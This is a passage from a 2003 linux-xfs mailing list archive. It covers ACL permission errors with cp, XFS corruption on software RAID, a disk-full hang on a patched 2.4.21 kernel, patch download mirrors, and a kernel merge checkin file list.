0xbffff758) = 0x08052dfc dcgettext(0, 0x08052a45, 5, 0, 0xbffff758) = 0x08052a45 strlen(0x08052a45, 5, 0xbffff758, 0x0804f31a, 0x4002f070) = 1 dcgettext(0, 0x080522a7, 5, 0x08054360, 0x4003b445) = 0x080522a7 error(0, 20, 0x080522a7, 0x08054360, 0x4003b445cp: preserving permissions for `file4': Not a directory ) = 0 free(0x08054530, 0, 128, 0, 4) = 0 free(0x08054500, 0, 0x0804d2f0, 2, 0xbffffdc4) = 0 exit(1, 0xbffffdcc, 0, 0xbffffcd0, 0 __fpending(0x40143b00, 0x400124c0, 0x400126d0, 66, 0x4014630c) = 0 __deregister_frame_info(0x0805404c, 3, 0xbffffc78, 0x0804ef92, 1) = 0 +++ exited (status 1) +++ [root@dyn3 tmp]# getfacl file3 # file: file3 # owner: root # group: root user::rw- group::r-- other::r-- [root@dyn3 tmp]# setfacl -m u:user1:rw file3 setfacl: file3: Not a directory [root@dyn3 tmp]# getfacl file3 # file: file3 # owner: root # group: root user::rw- user:user1:rw- group::r-- mask::rw- other::r-- kernel 2.4.21 patched with ea+acl+nfsacl-2.4.21-0.8.60.diff and xfs snapshot-2.4.21-2003-08-29_05:36_UTC and using libacl-2.2.7-0, libattr-2.4.1-0 and fileutils-4.1.11 with acl patches. Regards, Hicham From owner-linux-xfs@oss.sgi.com Mon Sep 8 08:33:00 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 08 Sep 2003 08:33:34 -0700 (PDT) Received: from sundancer.oche.de (sundancer.oche.de [194.94.252.29]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88FWwx4022109 for ; Mon, 8 Sep 2003 08:32:59 -0700 Received: by sundancer.oche.de (Postfix, from userid 10) id EE78852522; Mon, 8 Sep 2003 17:32:52 +0200 (CEST) Received: from foehn.quickstep.oche.de (localhost [127.0.0.1]) by foehn.quickstep.oche.de (8.12.9/8.12.8) with ESMTP id h88FWZ1i005105 for ; Mon, 8 Sep 2003 17:32:35 +0200 (CEST) Received: (from news@localhost) by foehn.quickstep.oche.de (8.12.9/8.12.8/Submit) id h88FWXA5005104 for linux-xfs@oss.sgi.com; Mon, 8 Sep 2003 17:32:33 +0200 (CEST) To: linux-xfs@oss.sgi.com Path: not-for-mail From: Martin Spott Newsgroups: list.linux-xfs Subject: Re: Announce: XFS split patches for 2.4.22 Date: 8 Sep 2003 15:32:33 GMT Organization: home Message-ID: References: <20030908105514.GH4063@pua.nirvana> <2413.1063019611@ocs3.intra.ocs.com.au> <20030908115310.GI4063@pua.nirvana> NNTP-Posting-Host: foehn.quickstep.oche.de X-Trace: foehn.quickstep.oche.de 1063035153 5082 192.168.48.1 (8 Sep 2003 15:32:33 GMT) X-Complaints-To: usenet@foehn.quickstep.oche.de NNTP-Posting-Date: 8 Sep 2003 15:32:33 GMT User-Agent: tin/1.4.5-20010409 ("One More Nightmare") (UNIX) (SunOS/5.8 (sun4m)) X-archive-position: 372 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Martin.Spott@uni-duisburg.de Precedence: bulk X-list: linux-xfs Content-Length: 393 Lines: 13 Axel Thimm wrote: > I tried from two different locations (North and South Europe). If you have trouble you're welcome to try this mirror: ftp://ftp.uni-duisburg.de/Mirrors/oss.sgi.com/xfsftp/ Martin. -- Unix _IS_ user friendly - it's just selective about who its friends are ! -------------------------------------------------------------------------- From owner-linux-xfs@oss.sgi.com Mon Sep 8 15:07:22 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 08 Sep 2003 15:07:56 -0700 (PDT) Received: from fed1mtao04.cox.net (fed1mtao04.cox.net [68.6.19.241]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88M7Mx4002142 for ; Mon, 8 Sep 2003 15:07:22 -0700 Received: from jeeves.kpf.internal ([24.56.61.206]) by fed1mtao04.cox.net (InterMail vM.5.01.06.04 201-253-122-130-104-20030726) with ESMTP id <20030908220717.WQHT21752.fed1mtao04.cox.net@jeeves.kpf.internal> for ; Mon, 8 Sep 2003 18:07:17 -0400 Received: from [192.168.172.107] (helo=cox.net) by jeeves.kpf.internal with esmtp (Exim 4.05) id 19wUAG-0001BZ-00 for: 07:16 -0700 Message-ID: <3F5CFD90.3060106@cox.net> Date: Mon, 08 Sep 2003 15:07:12 -0700 From: "Kevin P. Fleming" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Patch against acl-2.2.13... who wants it? Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 373 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kpfleming@cox.net Precedence: bulk X-list: linux-xfs Content-Length: 334 Lines: 8 I've just created a patch against acl-2.2.13 that allows it to be compiled against a libattr that is not installed in /usr/lib... The patch also fixes a couple of small existing bugs related to the configure script finding libattr. Is this list the proper forum for posting the patch for discussion, or is there a better place? From owner-linux-xfs@oss.sgi.com Mon Sep 8 23:31:19 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 08 Sep 2003 23:31:59 -0700 (PDT) Received: from mail.sura.ru (mail.sura.ru [80.95.32.19]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h896VEx4009508; Mon, 8 Sep 2003 23:31:18 -0700 Received: from ed.DIONIS.LOCAL (host-80-95-32-106.leasedlines.sura.ru [80.95.32.106]) by mail.sura.ru (Postfix) with ESMTP id A34EE117; Tue, 9 Sep 2003 10:31:08 +0400 (MSD) Date: Tue, 9 Sep 2003 10:31:08 +0400 From: spied@yandex.ru X-Mailer: The Bat! (v1.61) Personal Reply-To: spied@yandex.ru X-Priority: 3 (Normal) Message-ID: <181451622296.20030909103108@yandex.ru> To: linux-xfs-bounce@oss.sgi.com, Russell Cattelan Cc: Benjamin Pfitzner , linux-xfs@oss.sgi.com Subject: Re[2]: Question in XFS regarding Kernel 2.4.22 In-Reply-To: <1062637956.25901.6.camel@lupo.thebarn.com> References: <1062637956.25901.6.camel@lupo.thebarn.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 374 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: spied@yandex.ru Precedence: bulk X-list: linux-xfs Content-Length: 185 Lines: 6 RC> Anyways in case nobody noticed the xfs kernel tree on xfs.org RC> has has been updated to 2.4.22. RC> http://xfs.org/cgi-bin/cvsweb.cgi/linux-2.4-xfs/linux/ can i get it via cvs? From owner-linux-xfs@oss.sgi.com Tue Sep 9 02:29:55 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 09 Sep 2003 02:30:28 -0700 (PDT) Received: from listserv.temple.edu (listserv.temple.edu [155.247.166.105]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h899Tsx4006201 for ; Tue, 9 Sep 2003 02:29:55 -0700 Message-Id: <200309090929.h899Tsx4006201@oss.sgi.com> Received: (qmail 17604 invoked by uid 0); 9 Sep 2003 09:29:54 -0000 Received: from listserv.temple.edu (155.247.166.105) by listserv.temple.edu with SMTP; 9 Sep 2003 09:29:54 -0000 Date: Tue, 9 Sep 2003 05:29:54 -0400 From: "L-Soft list server at Temple University (1.8d)" Subject: Message ("Your message dated Tue, 9 Sep 2003 2:29:48 --0700...") To: linux-xfs@OSS.SGI.COM X-archive-position: 375 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: owner-linux-xfs@oss.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 184 Lines: 4 Your message dated Tue, 9 Sep 2003 2:29:48 --0700 with subject "Your details" has been submitted to the moderator of the BLACK-IP list: "Byron C. Mayes" . From owner-linux-xfs@oss.sgi.com Tue Sep 9 07:28:39 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 09 Sep 2003 07:29:20 -0700 (PDT) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h89ESbx4022185 for ; Tue, 9 Sep 2003 07:28:38 -0700 Received: from mailhub.ch.sauter-bc.com (mailhub [10.1.6.26]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id D2F4F32CAD; Tue, 9 Sep 2003 16:28:31 +0200 (CEST) Received: from imap01.ch.sauter-bc.com (imap01.ch.sauter-bc.com [10.1.6.25]) by mailhub.ch.sauter-bc.com (Postfix) with ESMTP id 22FF132CB5; Tue, 9 Sep 2003 16:28:31 +0200 (CEST) Received: from webmail.ch.sauter-bc.com (localhost.localdomain [127.0.0.1]) by imap01.ch.sauter-bc.com (Postfix) with SMTP id 74F5311E28; Tue, 9 Sep 2003 16:28:30 +0200 (CEST) Received: from 10.1.200.117 (SquirrelMail authenticated user mattesim) by imap01.ch.sauter-bc.com with HTTP; Tue, 9 Sep 2003 16:28:30 +0200 (CEST) Message-ID: <1764.10.1.200.117.1063117710.squirrel@imap01.ch.sauter-bc.com> In-Reply-To: <20030907232446.GC818@frodo> References: <41782.213.173.165.140.1062330069.squirrel@imap01.ch.sauter-bc.com> <20030902071613.GB1378@frodo> <43946.213.173.165.140.1062501263.squirrel@imap01.ch.sauter-bc.com> <20030905052032.GD1126@frodo> <2588.10.1.200.117.1062753733.squirrel@imap01.ch.sauter-bc.com> <20030907232446.GC818@frodo> Date: Tue, 9 Sep 2003 16:28:30 +0200 (CEST) Subject: Re: XFS shutdown with 1.3.0 From: "Simon Matter" To: "Nathan Scott" Cc: linux-xfs@oss.sgi.com User-Agent: SquirrelMail/1.4.1 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Priority: 3 Importance: Normal Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h89ESdx4022195 X-archive-position: 377 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Content-Length: 2345 Lines: 62 I have been forced to investigate this a bit more. I have found more and more servers in my environment with similar problems. It looks like the following systems are affected: The filesystem: - resides on Software RAID - was created with an early Linux/XFS version (IIRC 1.0.x) I don't know when the problem came in. I have the problem regardless whether the filesystem has ever been grown or not. This happens with XFS1.3.0. When doing xfs_repair, I usually find all content in lost+found/128/. One file is usually missing. After xfs_repair, I have to mount/unmount the fs. Then, xfs_repair runs without any error. Any ideas what could have happened ? Simon > On Fri, Sep 05, 2003 at 11:22:13AM +0200, Simon Matter wrote: >> >> [root@xxl root]# xfs_info /home >> >> meta-data=/home isize=256 agcount=160, >> agsize=262144 >> >> blks >> >> = sectsz=512 >> >> data = bsize=4096 blocks=41889120, >> >> imaxpct=25 >> >> = sunit=32 swidth=96 blks, >> >> unwritten=0 >> >> naming =version 2 bsize=4096 >> >> log =external bsize=4096 blocks=25600, version=1 >> >> = sectsz=512 sunit=0 blks >> >> realtime =none extsz=393216 blocks=0, rtextents=0 >> >> >> ... >> Unfortunately the problem looks like a timebomb to me. Is there a way to >> find out whether a filesystem has ever been grown? This would help me to >> find out whether the growing was the culprit here. > > The above filesystem has almost certainly been grown. You can > tell because the agsize is fairly small & the agcount is quite > large (the only case where this may not have been grown is if > that agsize/agcount was explicitly requested at mkfs time, and > thats unlikely I think). > > To contradict Eric - ;) - there is a cute trick you can use to > tell: if you run "mkfs.xfs -N /dev/XXX", this will just print > the geometry that mkfs _would_ have used (-N means "don't") so > if that doesn't match up to the actual filesystem geometry (in > particular, the agcount= field), then it has likely been grown. > > Both this method and Erics method can be fooled if unusual mkfs > options were used when the filesystem was created, however. > > cheers. > > -- > Nathan > From owner-linux-xfs@oss.sgi.com Tue Sep 9 07:39:05 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 09 Sep 2003 07:41:25 -0700 (PDT) Received: from waltsathlon.localhost.net (12-229-144-126.client.attbi.com [12.229.144.126]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h89Ed3x4023990 for ; Tue, 9 Sep 2003 07:39:03 -0700 Received: from comcast.net (waltsathlon.localhost.net [192.168.0.1]) by waltsathlon.localhost.net (Postfix) with ESMTP id 665109133E; Tue, 9 Sep 2003 07:38:57 -0700 (PDT) Message-ID: <3F5DE601.3010407@comcast.net> Date: Tue, 09 Sep 2003 07:38:57 -0700 From: Walt H User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030907 X-Accept-Language: en-us MIME-Version: 1.0 To: Simon Matter Cc: Nathan Scott , linux-xfs@oss.sgi.com Subject: Re: XFS shutdown with 1.3.0 References: <41782.213.173.165.140.1062330069.squirrel@imap01.ch.sauter-bc.com> <20030902071613.GB1378@frodo> <43946.213.173.165.140.1062501263.squirrel@imap01.ch.sauter-bc.com> <20030905052032.GD1126@frodo> <2588.10.1.200.117.1062753733.squirrel@imap01.ch.sauter-bc.com> <20030907232446.GC818@frodo> <1764.10.1.200.117.1063117710.squirrel@imap01.ch.sauter-bc.com> In-Reply-To: <1764.10.1.200.117.1063117710.squirrel@imap01.ch.sauter-bc.com> X-Enigmail-Version: 0.76.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 378 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: waltabbyh@comcast.net Precedence: bulk X-list: linux-xfs Content-Length: 1425 Lines: 34 Simon Matter wrote: > I have been forced to investigate this a bit more. I have found more and > more servers in my environment with similar problems. It looks like the > following systems are affected: > > The filesystem: > - resides on Software RAID > - was created with an early Linux/XFS version (IIRC 1.0.x) > > I don't know when the problem came in. I have the problem regardless > whether the filesystem has ever been grown or not. This happens with > XFS1.3.0. > > When doing xfs_repair, I usually find all content in lost+found/128/. One > file is usually missing. After xfs_repair, I have to mount/unmount the fs. > Then, xfs_repair runs without any error. > > Any ideas what could have happened ? > > Simon Just wanted to chime in with a "me too". Our main filserver runs over a 6 disk software raid5 on U160 drives and I've had a few corruptions causing it to go down. The filesystems were created around Nov. 2002 and I was bitten by the "clean umount may corrupt root FS" bug around that time. Two or three times since, I've had to xfs_repair the filesystem which has resulted in moving the contents of the FS to lost+found/128/. It's an AMD SMP box utilizing the 760MPX chipset. After an xfs_repair, mount, umount and subsequent check, the filesystem appears clean. I've thought about re-mkfs'ing the filesystems in case there is some left over cruft that might be causing it. I'm open to ideas. -Walt From owner-linux-xfs@oss.sgi.com Tue Sep 9 09:33:52 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 09 Sep 2003 09:34:28 -0700 (PDT) Received: from web13907.mail.yahoo.com (web13907.mail.yahoo.com [216.136.175.70]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h89GXpx4009295 for ; Tue, 9 Sep 2003 09:33:52 -0700 Message-ID: <20030909163351.341.qmail@web13907.mail.yahoo.com> Received: from [202.56.254.13] by web13907.mail.yahoo.com via HTTP; Tue, 09 Sep 2003 09:33:51 PDT Date: Tue, 9 Sep 2003 09:33:51 -0700 (PDT) From: "shridhar.g rangaswamy" Subject: xfs patched kerenl-2.4.21 hangs on disk full To: lord@sgi.com Cc: owner-linux-xfs@oss.sgi.com, linux-xfs@oss.sgi.com MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: 7bit X-archive-position: 379 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: shridhargr@yahoo.com Precedence: bulk X-list: linux-xfs Content-Length: 849 Lines: 18 Hi I have a problem working with XFS patched kernel. I have patched kernel 2.4.21 with patch " xfs-2.4.21-all-i386 " downloaded from site http://download.au.kde.org/pub/linux/sgi-oss/xfs/patches/2.4.21/ and compiled the kernel with xfs and quota support enabled. When I try to copy a large file on to xfs partition using direct "cp" command or nfs or samba, the system hangs when partition or disk is full. It would be of great help if u can brief what exactly is the problem and how to fix this. Also, can u please say about the latest stable xfs patch source from where I can down load the correct patch for kernel 2.4.21 and respective XFS utilities. thank U Shridhar --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Tue Sep 9 12:55:56 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 09 Sep 2003 12:56:31 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h89Jtux4031821; Tue, 9 Sep 2003 12:55:56 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h89Jtmq0025018; Tue, 9 Sep 2003 12:55:51 -0700 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h89Jtmcc11607920; Tue, 9 Sep 2003 14:55:48 -0500 (CDT) Received: from naboo (naboo.americas.sgi.com [128.162.233.73]) by daisy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h89JtiRn272160913; Tue, 9 Sep 2003 14:55:44 -0500 (CDT) Subject: Re: xfs patched kerenl-2.4.21 hangs on disk full From: Russell Cattelan To: "shridhar.g rangaswamy" Cc: lord@sgi.com, owner-linux-xfs@oss.sgi.com, linux-xfs@oss.sgi.com In-Reply-To: <20030909163351.341.qmail@web13907.mail.yahoo.com> References: <20030909163351.341.qmail@web13907.mail.yahoo.com> Content-Type: text/plain Message-Id: <1063137343.1476.58.camel@naboo> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4-4mdk Date: Tue, 09 Sep 2003 14:55:44 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 380 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@xfs.org Precedence: bulk X-list: linux-xfs Content-Length: 934 Lines: 15 On Tue, 2003-09-09 at 11:33, shridhar.g rangaswamy wrote: > Hi > I have a problem working with XFS patched kernel. I have patched kernel 2.4.21 with patch " xfs-2.4.21-all-i386 " downloaded from site http://download.au.kde.org/pub/linux/sgi-oss/xfs/patches/2.4.21/ and compiled the kernel with xfs and quota support enabled. When I try to copy a large file on to xfs partition using direct "cp" command or nfs or samba, the system hangs when partition or disk is full. > It would be of great help if u can brief what exactly is the problem and how to fix this. Also, can u please say about the latest stable xfs patch source from where I can down load the correct patch for kernel 2.4.21 and respective XFS utilities. > thank U > Shridhar That patch has no correlation to what we consider stable Grab 1.3.0 patches. ftp://oss.sgi.com/projects/xfs/Release-1.3/kernel_patches/ -Russell Cattelan Digital Elves Inc From owner-linux-xfs@oss.sgi.com Wed Sep 10 12:36:13 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 10 Sep 2003 12:36:34 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8AJaCx4019148 for ; Wed, 10 Sep 2003 12:36:12 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8AJrJss005337 for ; Wed, 10 Sep 2003 14:53:19 -0500 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8AJa6cc11605211 for ; Wed, 10 Sep 2003 14:36:06 -0500 (CDT) Received: from naboo.americas.sgi.com (naboo.americas.sgi.com [128.162.233.73]) by daisy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8AJa6Rn258927239 for ; Wed, 10 Sep 2003 14:36:06 -0500 (CDT) Received: by naboo.americas.sgi.com (Postfix, from userid 29039) id 8565C18796C8; Wed, 10 Sep 2003 14:36:05 -0500 (CDT) Subject: TAKE - Merge up to 2.6.0-test4 Message-Id: <20030910193605.8565C18796C8@naboo.americas.sgi.com> Date: Wed, 10 Sep 2003 14:36:05 -0500 (CDT) From: cattelan@naboo.americas.sgi.com (Russell Cattelan) To: undisclosed-recipients:;;;;@sgi.com;;; X-archive-position: 382 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@naboo.americas.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 54468 Lines: 1431 Date: Wed Sep 10 12:18:20 PDT 2003 Workarea: naboo.americas.sgi.com:/go/space/XFS/x2.5-xfs-patchme The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:158149a linux/kernel/power/pm.c - 1.1 linux/kernel/power/poweroff.c - 1.1 linux/drivers/char/agp/ati-agp.c - 1.1 linux/kernel/power/main.c - 1.1 linux/drivers/block/noop-iosched.c - 1.1 linux/drivers/base/power/sysfs.c - 1.1 linux/drivers/base/power/suspend.c - 1.1 linux/drivers/base/power/shutdown.c - 1.1 linux/Documentation/early-userspace/README - 1.1 linux/Documentation/early-userspace/buffer-format.txt - 1.1 linux/drivers/base/power/runtime.c - 1.1 linux/drivers/base/power/resume.c - 1.1 linux/drivers/base/power/power.h - 1.1 linux/drivers/base/power/main.c - 1.1 linux/drivers/base/power/Makefile - 1.1 linux/crypto/cast6.c - 1.1 linux/crypto/cast5.c - 1.1 linux/net/core/ethtool.c - 1.1 linux/arch/x86_64/kernel/vmlinux.lds.S - 1.1 linux/Documentation/power/devices.txt - 1.1 linux/Documentation/power/interface.txt - 1.1 linux/Documentation/power/states.txt - 1.1 linux/Documentation/power/swsusp.txt - 1.1 linux/drivers/macintosh/macio_asic.c - 1.1 linux/drivers/media/video/adv7170.c - 1.1 linux/drivers/media/video/saa7114.c - 1.1 linux/drivers/media/video/videocodec.c - 1.1 linux/drivers/media/video/videocodec.h - 1.1 linux/drivers/media/video/vpx3220.c - 1.1 linux/drivers/media/video/zoran_card.c - 1.1 linux/arch/v850/kernel/vmlinux.lds.S - 1.1 linux/arch/um/kernel/vmlinux.lds.S - 1.1 linux/arch/sparc64/kernel/vmlinux.lds.S - 1.1 linux/drivers/media/video/zoran_card.h - 1.1 linux/drivers/media/video/zoran_device.c - 1.1 linux/drivers/media/video/zoran_device.h - 1.1 linux/arch/sparc/kernel/vmlinux.lds.S - 1.1 linux/fs/sysfs/group.c - 1.1 linux/drivers/media/video/zoran_driver.c - 1.1 linux/arch/sh/kernel/vmlinux.lds.S - 1.1 linux/include/asm-arm/arch-integrator/impd1.h - 1.1 linux/drivers/media/video/zoran_procfs.h - 1.1 linux/arch/s390/kernel/vmlinux.lds.S - 1.1 linux/drivers/media/video/zr36016.c - 1.1 linux/drivers/media/video/zr36016.h - 1.1 linux/drivers/media/video/zr36050.c - 1.1 linux/drivers/media/video/zr36050.h - 1.1 linux/drivers/media/video/zr36060.c - 1.1 linux/include/linux/cpumask.h - 1.1 linux/arch/ppc64/kernel/vmlinux.lds.S - 1.1 linux/include/linux/bitmap.h - 1.1 linux/arch/ppc/syslib/of_device.c - 1.1 linux/arch/ppc/kernel/vmlinux.lds.S - 1.1 linux/arch/mips/kernel/vmlinux.lds.S - 1.1 linux/arch/alpha/kernel/vmlinux.lds.S - 1.1 linux/include/asm-generic/cpumask_arith.h - 1.1 linux/arch/m68knommu/kernel/vmlinux.lds.S - 1.1 linux/include/asm-generic/cpumask_array.h - 1.1 linux/include/asm-generic/cpumask_const_reference.h - 1.1 linux/include/asm-ppc/macio.h - 1.1 linux/include/asm-generic/cpumask_const_value.h - 1.1 linux/include/asm-generic/cpumask_up.h - 1.1 linux/include/asm-h8300/aki3068net/machine-depend.h - 1.1 linux/arch/m68k/kernel/vmlinux.lds.S - 1.1 linux/arch/ia64/hp/sim/hpsim.S - 1.1 linux/arch/ia64/hp/sim/boot/fw-emu.c - 1.1 linux/arch/arm/kernel/vmlinux.lds.S - 1.1 linux/arch/arm/mach-integrator/Kconfig - 1.1 linux/include/asm-h8300/edosk2674/machine-depend.h - 1.1 linux/arch/arm/mach-integrator/impd1.c - 1.1 linux/include/asm-h8300/generic/machine-depend.h - 1.1 linux/include/asm-h8300/h8max/machine-depend.h - 1.1 linux/include/asm-h8300/machine-depend.h - 1.1 linux/include/asm-h8300/regs267x.h - 1.1 linux/include/asm-ppc/of_device.h - 1.1 linux/include/asm-sparc64/cpudata.h - 1.1 linux/arch/ia64/kernel/vmlinux.lds.S - 1.1 linux/arch/i386/kernel/vmlinux.lds.S - 1.1 linux/net/xfrm/xfrm_export.c - 1.1 linux/drivers/net/sis190.c - 1.1 linux/arch/ia64/hp/sim/boot/boot_head.S - 1.1 linux/arch/h8300/lib/romfs.S - 1.1 linux/arch/arm/mm/mmu.c - 1.1 linux/arch/ia64/hp/sim/boot/ssc.h - 1.1 linux/arch/ia64/hp/sim/boot/Makefile - 1.1 linux/arch/arm26/kernel/vmlinux.lds.S - 1.1 linux/arch/ia64/hp/sim/boot/bootloader.lds - 1.1 linux/arch/ia64/hp/sim/boot/bootloader.c - 1.1 linux/arch/h8300/boot/Makefile - 1.1 linux/arch/h8300/kernel/vmlinux.lds.S - 1.1 linux/include/asm-ia64/gcc_intrin.h - 1.1 linux/include/asm-ia64/ia64regs.h - 1.1 linux/net/wanrouter/wanmain.c - 1.21 linux/net/sunrpc/xprt.c - 1.47 linux/net/sunrpc/sysctl.c - 1.12 linux/net/sunrpc/svcsock.c - 1.36 linux/net/sunrpc/clnt.c - 1.34 linux/net/sched/sch_teql.c - 1.15 linux/net/rose/af_rose.c - 1.35 linux/net/netsyms.c - 1.76 linux/net/netrom/sysctl_net_netrom.c - 1.8 linux/net/netrom/nr_timer.c - 1.10 linux/net/netrom/nr_subr.c - 1.9 linux/net/netrom/nr_route.c - 1.10 linux/net/netrom/nr_in.c - 1.8 linux/net/netrom/nr_dev.c - 1.12 linux/net/netrom/af_netrom.c - 1.32 linux/net/irda/irproc.c - 1.14 linux/net/irda/irlap.c - 1.25 linux/net/irda/irlan/irlan_filter.c - 1.5 linux/net/irda/irlan/irlan_eth.c - 1.19 linux/net/irda/irlan/irlan_common.c - 1.25 linux/net/irda/irlan/irlan_client.c - 1.16 linux/net/irda/irda_device.c - 1.34 linux/net/ipv6/udp.c - 1.47 linux/net/ipv6/tcp_ipv6.c - 1.59 linux/net/ipv6/sit.c - 1.35 linux/net/ipv6/route.c - 1.40 linux/net/ipv6/raw.c - 1.41 linux/net/ipv6/ndisc.c - 1.41 linux/net/ipv6/mcast.c - 1.31 linux/net/ipv6/ip6_output.c - 1.30 linux/net/ipv6/icmp.c - 1.34 linux/net/ipv6/addrconf.c - 1.42 linux/net/ipv6/Makefile - 1.17 linux/net/ipv4/udp.c - 1.48 linux/net/ipv4/tcp_ipv4.c - 1.66 linux/net/ipv4/sysctl_net_ipv4.c - 1.21 linux/net/ipv4/route.c - 1.52 linux/net/ipv4/ipmr.c - 1.32 linux/net/ipv4/ipip.c - 1.35 linux/net/ipv4/ipconfig.c - 1.40 linux/net/ipv4/ip_gre.c - 1.35 linux/net/ipv4/igmp.c - 1.31 linux/net/ipv4/devinet.c - 1.24 linux/net/ipv4/arp.c - 1.32 linux/net/ipv4/Makefile - 1.22 linux/net/core/skbuff.c - 1.37 linux/net/core/neighbour.c - 1.24 linux/net/core/dev.c - 1.82 linux/net/core/Makefile - 1.18 linux/net/ax25/sysctl_net_ax25.c - 1.9 linux/net/ax25/ax25_timer.c - 1.8 linux/net/ax25/ax25_subr.c - 1.11 linux/net/ax25/ax25_std_timer.c - 1.8 linux/net/ax25/ax25_std_in.c - 1.8 linux/net/ax25/ax25_route.c - 1.11 linux/net/ax25/ax25_out.c - 1.9 linux/net/ax25/ax25_ip.c - 1.11 linux/net/ax25/ax25_in.c - 1.15 linux/net/ax25/ax25_iface.c - 1.6 linux/net/ax25/ax25_ds_timer.c - 1.9 linux/net/ax25/ax25_ds_subr.c - 1.6 linux/net/ax25/ax25_ds_in.c - 1.9 linux/net/ax25/af_ax25.c - 1.36 linux/net/802/tr.c - 1.15 linux/mm/vmscan.c - 1.133 linux/mm/vmalloc.c - 1.50 linux/mm/slab.c - 1.64 linux/mm/page_alloc.c - 1.113 linux/mm/memory.c - 1.110 linux/mm/filemap.c - 1.162 linux/lib/string.c - 1.18 linux/kernel/sys.c - 1.57 linux/kernel/softirq.c - 1.39 linux/kernel/signal.c - 1.60 linux/kernel/sched.c - 1.109 linux/kernel/module.c - 1.47 linux/kernel/ksyms.c - 1.198 linux/kernel/fork.c - 1.98 linux/kernel/Makefile - 1.46 linux/ipc/sem.c - 1.30 linux/include/scsi/scsi.h - 1.12 linux/include/net/netrom.h - 1.8 linux/include/net/neighbour.h - 1.10 linux/include/net/irda/irtty.h - 1.10 linux/include/net/irda/irlap.h - 1.16 linux/include/net/irda/irlan_filter.h - 1.3 linux/include/net/irda/irlan_eth.h - 1.5 